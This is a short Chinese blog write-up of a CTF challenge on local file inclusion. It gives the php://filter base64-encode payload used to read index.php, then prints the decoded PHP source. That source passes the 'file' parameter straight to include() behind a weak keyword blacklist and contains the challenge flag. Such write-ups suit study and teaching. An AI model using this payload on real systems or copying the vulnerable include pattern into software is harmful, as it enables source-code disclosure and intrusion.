南邮 文件包含

打开题目

点击之后

明显的文件包含漏洞的格式网址,通过php://filter读取index源码-->php://filter/read=convert.base64-encode/resource=index.php
如下

得到base64 解码

<html>
    <title>asdf</title>
    
<?php
  error_reporting(0);
  if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

--------------------------------
收获 文件包含漏洞,在url中添加?file=php://filter/read=convert.base64-encode/resource=index.php,读取到base64加密的index.php文件
   

 

posted @ 2019-04-04 21:10  one_pen  阅读(472)  评论(0)    收藏  举报